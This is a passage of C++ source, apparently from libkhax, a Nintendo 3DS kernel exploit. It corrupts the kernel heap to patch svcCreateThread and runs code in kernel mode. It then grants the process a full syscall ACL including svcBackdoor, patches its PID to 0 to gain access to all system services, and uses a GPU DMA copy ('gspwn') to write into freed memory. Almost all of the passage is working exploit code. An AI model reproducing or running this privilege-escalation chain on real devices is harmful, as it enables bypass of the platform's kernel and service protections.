| 604 | Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(\r |
| 605 | Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());\r |
| 606 | \r |
| 607 | KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);\r |
| 608 | \r |
| 609 | if (result != STEP6_SUCCESS_RESULT)\r |
| 610 | {\r |
| 611 | // If the result was 0, something actually went wrong.\r |
| 612 | if (result == 0)\r |
| 613 | {\r |
| 614 | result = MakeError(27, 11, KHAX_MODULE, 1023);\r |
| 615 | }\r |
| 616 | \r |
| 617 | return result;\r |
| 618 | }\r |
| 619 | \r |
| 620 | #ifdef KHAX_DEBUG\r |
| 621 | char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];\r |
| 622 | char *sp = oldACLString;\r |
| 623 | for (unsigned char b : m_oldACL)\r |
| 624 | {\r |
| 625 | *sp++ = "0123456789abcdef"[b >> 4];\r |
| 626 | *sp++ = "0123456789abcdef"[b & 15];\r |
| 627 | }\r |
| 628 | *sp = '\0';\r |
| 629 | \r |
| 630 | KHAX_printf("oldACL:%s\n", oldACLString);\r |
| 631 | #endif\r |
| 632 | \r |
| 633 | ++m_nextStep;\r |
| 634 | return 0;\r |
| 635 | }\r |
| 636 | \r |
| 637 | //------------------------------------------------------------------------------------------------\r |
| 638 | // SVC-mode entry point thunk (true entry point).\r |
| 639 | #ifndef _MSC_VER\r |
| 640 | __attribute__((__naked__))\r |
| 641 | #endif\r |
| 642 | Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()\r |
| 643 | {\r |
| 644 | __asm__ volatile("add sp, sp, #8");\r |
| 645 | \r |
| 646 | register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();\r |
| 647 | \r |
| 648 | __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));\r |
| 649 | }\r |
| 650 | \r |
| 651 | //------------------------------------------------------------------------------------------------\r |
| 652 | // SVC-mode entry point.\r |
| 653 | #ifndef _MSC_VER\r |
| 654 | __attribute__((__noinline__))\r |
| 655 | #endif\r |
| 656 | Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()\r |
| 657 | {\r |
| 658 | if (Result result = Step6c_UndoCreateThreadPatch())\r |
| 659 | {\r |
| 660 | return result;\r |
| 661 | }\r |
| 662 | if (Result result = Step6d_FixHeapCorruption())\r |
| 663 | {\r |
| 664 | return result;\r |
| 665 | }\r |
| 666 | if (Result result = Step6e_GrantSVCAccess())\r |
| 667 | {\r |
| 668 | return result;\r |
| 669 | }\r |
| 670 | if (Result result = Step6f_FlushCaches())\r |
| 671 | {\r |
| 672 | return result;\r |
| 673 | }\r |
| 674 | \r |
| 675 | return STEP6_SUCCESS_RESULT;\r |
| 676 | }\r |
| 677 | \r |
| 678 | //------------------------------------------------------------------------------------------------\r |
| 679 | // Undo the code patch that Step5_CorruptCreateThread did.\r |
| 680 | Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()\r |
| 681 | {\r |
| 682 | // Unpatch svcCreateThread. NOTE: Misaligned pointer.\r |
| 683 | *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->\r |
| 684 | m_threadPatchOriginalCode;\r |
| 685 | --m_corrupted;\r |
| 686 | \r |
| 687 | return 0;\r |
| 688 | }\r |
| 689 | \r |
| 690 | //------------------------------------------------------------------------------------------------\r |
| 691 | // Fix the heap corruption caused as a side effect of step 5.\r |
| 692 | Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()\r |
| 693 | {\r |
| 694 | // The kernel's heap coalesce code seems to be like the following for the case we triggered,\r |
| 695 | // where we're freeing a block before ("left") an adjacent block ("right"):\r |
| 696 | //\r |
| 697 | // (1) left->m_count += right->m_count;\r |
| 698 | // (2) left->m_next = right->m_next;\r |
| 699 | // (3) right->m_next->m_prev = left;\r |
| 700 | //\r |
| 701 | // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point\r |
| 702 | // to where we want to patch, such that the write to m_prev is the desired code overwrite.\r |
| 703 | // (2) is copying the value we put into right->m_next to accomplish (3).\r |
| 704 | //\r |
| 705 | // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to\r |
| 706 | // point to the correct next free block, and do the write to right->m_next->m_prev that didn't\r |
| 707 | // happen because it instead was writing to kernel code.\r |
| 708 | \r |
| 709 | // "left" is the second overwrite page.\r |
| 710 | auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r |
| 711 | &m_overwriteMemory->m_pages[1].m_freeBlock));\r |
| 712 | // "right->m_next" is the fifth overwrite page.\r |
| 713 | auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r |
| 714 | &m_overwriteMemory->m_pages[4].m_freeBlock));\r |
| 715 | \r |
| 716 | // Do the two fixups.\r |
| 717 | left->m_next = rightNext;\r |
| 718 | --m_corrupted;\r |
| 719 | \r |
| 720 | rightNext->m_prev = left;\r |
| 721 | --m_corrupted;\r |
| 722 | \r |
| 723 | return 0;\r |
| 724 | }\r |
| 725 | \r |
| 726 | //------------------------------------------------------------------------------------------------\r |
| 727 | // Grant our process access to all system calls, including svcBackdoor.\r |
| 728 | Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()\r |
| 729 | {\r |
| 730 | // Everything, except nonexistent services 00, 7E or 7F.\r |
| 731 | static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";\r |
| 732 | \r |
| 733 | // Get the KThread pointer. Its type doesn't vary, so far.\r |
| 734 | KThread *kthread = *m_versionData->m_currentKThreadPtr;\r |
| 735 | \r |
| 736 | // Debug dumping.\r |
| 737 | #ifdef KHAX_DEBUG_DUMP_DATA\r |
| 738 | // Get the KProcess pointer, whose type varies by kernel version.\r |
| 739 | void *kprocess = *m_versionData->m_currentKProcessPtr;\r |
| 740 | \r |
| 741 | void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));\r |
| 742 | std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));\r |
| 743 | std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));\r |
| 744 | std::memcpy(m_savedThreadSVC, svcData, sizeof(m_savedThreadSVC));\r |
| 745 | #endif\r |
| 746 | \r |
| 747 | // Get a pointer to the SVC ACL within the SVC area for the thread.\r |
| 748 | SVCThreadArea *svcThreadArea = ContainingRecord<SVCThreadArea>(kthread->m_svcRegisterState, &SVCThreadArea::m_svcRegisterState);\r |
| 749 | KSVCACL &threadACL = svcThreadArea->m_svcAccessControl;\r |
| 750 | \r |
| 751 | // Save the old one for diagnostic purposes.\r |
| 752 | std::memcpy(m_oldACL, threadACL, sizeof(threadACL));\r |
| 753 | \r |
| 754 | // Set the ACL for the current thread.\r |
| 755 | std::memcpy(threadACL, s_fullAccessACL, sizeof(threadACL));\r |
| 756 | \r |
| 757 | return 0;\r |
| 758 | }\r |
| 759 | \r |
| 760 | //------------------------------------------------------------------------------------------------\r |
| 761 | // Flush instruction and data caches.\r |
| 762 | Result KHAX::MemChunkHax::Step6f_FlushCaches()\r |
| 763 | {\r |
| 764 | // Invalidates the entire instruction cache.\r |
| 765 | __asm__ volatile(\r |
| 766 | "mov r0, #0\n\t"\r |
| 767 | "mcr p15, 0, r0, c7, c5, 0\n\t");\r |
| 768 | \r |
| 769 | // Invalidates the entire data cache.\r |
| 770 | __asm__ volatile(\r |
| 771 | "mov r0, #0\n\t"\r |
| 772 | "mcr p15, 0, r0, c7, c10, 0\n\t");\r |
| 773 | \r |
| 774 | return 0;\r |
| 775 | }\r |
| 776 | \r |
| 777 | //------------------------------------------------------------------------------------------------\r |
| 778 | // Grant access to all services.\r |
| 779 | Result KHAX::MemChunkHax::Step7_GrantServiceAccess()\r |
| 780 | {\r |
| 781 | // Backup the original PID.\r |
| 782 | Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle);\r |
| 783 | if (result != 0)\r |
| 784 | {\r |
| 785 | KHAX_printf("Step7:GetPID1 fail:%08lx\n", result);\r |
| 786 | return result;\r |
| 787 | }\r |
| 788 | \r |
| 789 | KHAX_printf("Step7:current pid=%lu\n", m_originalPID);\r |
| 790 | \r |
| 791 | // Patch the PID to 0, granting access to all services.\r |
| 792 | svcBackdoor(Step7a_PatchPID);\r |
| 793 | \r |
| 794 | // Check whether PID patching succeeded.\r |
| 795 | u32 newPID;\r |
| 796 | result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r |
| 797 | if (result != 0)\r |
| 798 | {\r |
| 799 | // Attempt patching back anyway, for stability reasons.\r |
| 800 | svcBackdoor(Step7b_UnpatchPID);\r |
| 801 | KHAX_printf("Step7:GetPID2 fail:%08lx\n", result);\r |
| 802 | return result;\r |
| 803 | }\r |
| 804 | \r |
| 805 | if (newPID != 0)\r |
| 806 | {\r |
| 807 | KHAX_printf("Step7:nonzero:%lu\n", newPID);\r |
| 808 | return MakeError(27, 11, KHAX_MODULE, 1023);\r |
| 809 | }\r |
| 810 | \r |
| 811 | // Reinit ctrulib's srv connection to gain access to all services.\r |
| 812 | srvExit();\r |
| 813 | srvInit();\r |
| 814 | \r |
| 815 | // Restore the original PID now that srv has been tricked into thinking that we're PID 0.\r |
| 816 | svcBackdoor(Step7b_UnpatchPID);\r |
| 817 | \r |
| 818 | // Check whether PID restoring succeeded.\r |
| 819 | result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle);\r |
| 820 | if (result != 0)\r |
| 821 | {\r |
| 822 | KHAX_printf("Step7:GetPID3 fail:%08lx\n", result);\r |
| 823 | return result;\r |
| 824 | }\r |
| 825 | \r |
| 826 | if (newPID != m_originalPID)\r |
| 827 | {\r |
| 828 | KHAX_printf("Step7:not same:%lu\n", newPID);\r |
| 829 | return MakeError(27, 11, KHAX_MODULE, 1023);\r |
| 830 | }\r |
| 831 | \r |
| 832 | return 0;\r |
| 833 | }\r |
| 834 | \r |
| 835 | //------------------------------------------------------------------------------------------------\r |
| 836 | // Patch the PID to 0.\r |
| 837 | Result KHAX::MemChunkHax::Step7a_PatchPID()\r |
| 838 | {\r |
| 839 | // Disable interrupts ASAP.\r |
| 840 | // FIXME: Need a better solution for this.\r |
| 841 | __asm__ volatile("cpsid aif");\r |
| 842 | \r |
| 843 | // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers\r |
| 844 | // to translate the raw KProcess pointer into pointers into key fields, and we access the\r |
| 845 | // m_processID field from it.\r |
| 846 | *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r |
| 847 | .m_processID) = 0;\r |
| 848 | return 0;\r |
| 849 | }\r |
| 850 | \r |
| 851 | //------------------------------------------------------------------------------------------------\r |
| 852 | // Restore the original PID.\r |
| 853 | Result KHAX::MemChunkHax::Step7b_UnpatchPID()\r |
| 854 | {\r |
| 855 | // Disable interrupts ASAP.\r |
| 856 | // FIXME: Need a better solution for this.\r |
| 857 | __asm__ volatile("cpsid aif");\r |
| 858 | \r |
| 859 | // Patch the PID back to the original value.\r |
| 860 | *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr)\r |
| 861 | .m_processID) = s_instance->m_originalPID;\r |
| 862 | return 0;\r |
| 863 | }\r |
| 864 | \r |
| 865 | //------------------------------------------------------------------------------------------------\r |
| 866 | // Helper for dumping memory to SD card.\r |
| 867 | template <std::size_t S>\r |
| 868 | bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const\r |
| 869 | {\r |
| 870 | char formatted[32];\r |
| 871 | snprintf(formatted, KHAX_lengthof(formatted), filename,\r |
| 872 | static_cast<unsigned>(m_versionData->m_kernelVersion), m_versionData->m_new3DS ?\r |
| 873 | "New" : "Old");\r |
| 874 | \r |
| 875 | bool result = true;\r |
| 876 | \r |
| 877 | FILE *file = std::fopen(formatted, "wb");\r |
| 878 | if (file)\r |
| 879 | {\r |
| 880 | result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1);\r |
| 881 | std::fclose(file);\r |
| 882 | }\r |
| 883 | else\r |
| 884 | {\r |
| 885 | result = false;\r |
| 886 | }\r |
| 887 | \r |
| 888 | return result;\r |
| 889 | }\r |
| 890 | \r |
| 891 | //------------------------------------------------------------------------------------------------\r |
| 892 | // Free memory and such.\r |
| 893 | KHAX::MemChunkHax::~MemChunkHax()\r |
| 894 | {\r |
| 895 | // Dump memory to SD card if that is enabled.\r |
| 896 | #ifdef KHAX_DEBUG_DUMP_DATA\r |
| 897 | if (m_nextStep > 6)\r |
| 898 | {\r |
| 899 | DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin");\r |
| 900 | DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin");\r |
| 901 | DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin");\r |
| 902 | }\r |
| 903 | #endif\r |
| 904 | \r |
| 905 | // If we're corrupted, we're dead.\r |
| 906 | if (m_corrupted > 0)\r |
| 907 | {\r |
| 908 | KHAX_printf("~:error while corrupt;freezing\n");\r |
| 909 | for (;;)\r |
| 910 | {\r |
| 911 | svcSleepThread(s64(60) * 1000000000);\r |
| 912 | }\r |
| 913 | }\r |
| 914 | \r |
| 915 | // This function has to be careful not to crash trying to shut down after an aborted attempt.\r |
| 916 | if (m_overwriteMemory)\r |
| 917 | {\r |
| 918 | u32 dummy;\r |
| 919 | \r |
| 920 | // Each page has a flag indicating that it is still allocated.\r |
| 921 | for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x)\r |
| 922 | {\r |
| 923 | // Don't free a page unless it remains allocated.\r |
| 924 | if (m_overwriteAllocated & (1u << x))\r |
| 925 | {\r |
| 926 | Result res = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[x]), 0,\r |
| 927 | sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast<MemPerm>(0));\r |
| 928 | KHAX_printf("free %u: %08lx\n", x, res);\r |
| 929 | }\r |
| 930 | }\r |
| 931 | }\r |
| 932 | \r |
| 933 | // Free the extra linear memory.\r |
| 934 | if (m_extraLinear)\r |
| 935 | {\r |
| 936 | linearFree(m_extraLinear);\r |
| 937 | }\r |
| 938 | \r |
| 939 | // s_instance better be us\r |
| 940 | if (s_instance != this)\r |
| 941 | {\r |
| 942 | KHAX_printf("~:s_instance is wrong\n");\r |
| 943 | }\r |
| 944 | else\r |
| 945 | {\r |
| 946 | s_instance = nullptr;\r |
| 947 | }\r |
| 948 | }\r |
| 949 | \r |
| 950 | \r |
| 951 | //------------------------------------------------------------------------------------------------\r |
| 952 | //\r |
| 953 | // Miscellaneous\r |
| 954 | //\r |
| 955 | \r |
| 956 | //------------------------------------------------------------------------------------------------\r |
| 957 | // Make an error code\r |
| 958 | inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error)\r |
| 959 | {\r |
| 960 | return (level << 27) + (summary << 21) + (module << 10) + error;\r |
| 961 | }\r |
| 962 | \r |
| 963 | //------------------------------------------------------------------------------------------------\r |
| 964 | // Check whether this system is a New 3DS.\r |
| 965 | Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown)\r |
| 966 | {\r |
| 967 | // If the kernel version isn't already known by the caller, find out.\r |
| 968 | u32 kernelVersion = kernelVersionAlreadyKnown;\r |
| 969 | if (kernelVersion == 0)\r |
| 970 | {\r |
| 971 | kernelVersion = osGetKernelVersion();\r |
| 972 | }\r |
| 973 | \r |
| 974 | // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist.\r |
| 975 | if (kernelVersion >= SYSTEM_VERSION(2, 44, 6))\r |
| 976 | {\r |
| 977 | // Check whether the system is a New 3DS. If this fails, abort, because being wrong would\r |
| 978 | // crash the system.\r |
| 979 | u8 isNew3DS = 0;\r |
| 980 | if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS))\r |
| 981 | {\r |
| 982 | *answer = false;\r |
| 983 | return error;\r |
| 984 | }\r |
| 985 | \r |
| 986 | // Use the result of APT_CheckNew3DS.\r |
| 987 | *answer = isNew3DS != 0;\r |
| 988 | return 0;\r |
| 989 | }\r |
| 990 | \r |
| 991 | // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS.\r |
| 992 | *answer = false;\r |
| 993 | return 0;\r |
| 994 | }\r |
| 995 | \r |
| 996 | //------------------------------------------------------------------------------------------------\r |
| 997 | // gspwn, meant for reading from or writing to freed buffers.\r |
| 998 | Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait)\r |
| 999 | {\r |
| 1000 | // Attempt a flush of the source, but ignore the result, since we may have just been asked to\r |
| 1001 | // read unmapped memory or something similar.\r |
| 1002 | GSPGPU_FlushDataCache(nullptr, static_cast<u8 *>(const_cast<void *>(src)), size);\r |
| 1003 | \r |
| 1004 | // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore\r |
| 1005 | // errors, since it may be the destination that is an unmapped address.\r |
| 1006 | GSPGPU_InvalidateDataCache(nullptr, static_cast<u8 *>(dest), size);\r |
| 1007 | \r |
| 1008 | // Copy that floppy.\r |
| 1009 | if (Result result = GX_SetTextureCopy(nullptr, static_cast<u32 *>(const_cast<void *>(src)), 0,\r |
| 1010 | static_cast<u32 *>(dest), 0, size, 8))\r |
| 1011 | {\r |
| 1012 | KHAX_printf("gspwn:copy fail:%08lx\n", result);\r |
| 1013 | return result;\r |
| 1014 | }\r |
| 1015 | \r |
| 1016 | // Wait for the operation to finish.\r |
| 1017 | if (wait)\r |
| 1018 | {\r |
| 1019 | gspWaitForPPF();\r |
| 1020 | }\r |
| 1021 | \r |
| 1022 | return 0;\r |
| 1023 | }\r |
| 1024 | \r |
| 1025 | //------------------------------------------------------------------------------------------------\r |
| 1026 | // Given a pointer to a structure that is a member of another structure,\r |
| 1027 | // return a pointer to the outer structure. Inspired by Windows macro.\r |
| 1028 | template <typename Outer, typename Inner>\r |
| 1029 | Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field)\r |
| 1030 | {\r |
| 1031 | unsigned char *p = reinterpret_cast<unsigned char *>(member);\r |
| 1032 | p -= reinterpret_cast<std::uintptr_t>(&(static_cast<Outer *>(nullptr)->*field));\r |
| 1033 | return reinterpret_cast<Outer *>(p);\r |
| 1034 | }\r |
| 1035 | \r |
| 1036 | //------------------------------------------------------------------------------------------------\r |
| 1037 | // Main initialization function interface.\r |
| 1038 | extern "C" Result khaxInit()\r |
| 1039 | {\r |
| 1040 | using namespace KHAX;\r |
| 1041 | \r |
| 1042 | #ifdef KHAX_DEBUG\r |
| 1043 | bool isNew3DS;\r |
| 1044 | IsNew3DS(&isNew3DS, 0);\r |
| 1045 | KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(),\r |
| 1046 | isNew3DS);\r |
| 1047 | #endif\r |
| 1048 | \r |
| 1049 | // Look up the current system's version in our table.\r |
| 1050 | const VersionData *versionData = VersionData::GetForCurrentSystem();\r |
| 1051 | if (!versionData)\r |
| 1052 | {\r |
| 1053 | KHAX_printf("khaxInit: Unknown kernel version\n");\r |
| 1054 | return MakeError(27, 6, KHAX_MODULE, 39);\r |
| 1055 | }\r |
| 1056 | \r |
| 1057 | KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress,\r |
| 1058 | versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress);\r |
| 1059 | \r |
| 1060 | // Create the hack object.\r |
| 1061 | MemChunkHax hax{ versionData };\r |
| 1062 | \r |
| 1063 | // Run through the steps.\r |
| 1064 | if (Result result = hax.Step1_Initialize())\r |
| 1065 | {\r |
| 1066 | KHAX_printf("khaxInit: Step1 failed: %08lx\n", result);\r |
| 1067 | return result;\r |
| 1068 | }\r |
| 1069 | if (Result result = hax.Step2_AllocateMemory())\r |
| 1070 | {\r |
| 1071 | KHAX_printf("khaxInit: Step2 failed: %08lx\n", result);\r |
| 1072 | return result;\r |
| 1073 | }\r |
| 1074 | if (Result result = hax.Step3_SurroundFree())\r |
| 1075 | {\r |
| 1076 | KHAX_printf("khaxInit: Step3 failed: %08lx\n", result);\r |
| 1077 | return result;\r |
| 1078 | }\r |
| 1079 | if (Result result = hax.Step4_VerifyExpectedLayout())\r |
| 1080 | {\r |
| 1081 | KHAX_printf("khaxInit: Step4 failed: %08lx\n", result);\r |
| 1082 | return result;\r |
| 1083 | }\r |
| 1084 | if (Result result = hax.Step5_CorruptCreateThread())\r |
| 1085 | {\r |
| 1086 | KHAX_printf("khaxInit: Step5 failed: %08lx\n", result);\r |
| 1087 | return result;\r |
| 1088 | }\r |
| 1089 | if (Result result = hax.Step6_ExecuteSVCCode())\r |
| 1090 | {\r |
| 1091 | KHAX_printf("khaxInit: Step6 failed: %08lx\n", result);\r |
| 1092 | return result;\r |
| 1093 | }\r |
| 1094 | if (Result result = hax.Step7_GrantServiceAccess())\r |
| 1095 | {\r |
| 1096 | KHAX_printf("khaxInit: Step7 failed: %08lx\n", result);\r |
| 1097 | return result;\r |
| 1098 | }\r |
| 1099 | \r |
| 1100 | KHAX_printf("khaxInit: done\n");\r |
| 1101 | return 0;\r |
| 1102 | }\r |
| 1103 | \r |
| 1104 | //------------------------------------------------------------------------------------------------\r |
| 1105 | // Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything\r |
| 1106 | // and frees all memory on the way out.\r |
| 1107 | extern "C" Result khaxExit()\r |
| 1108 | {\r |
| 1109 | return 0;\r |
| 1110 | }\r |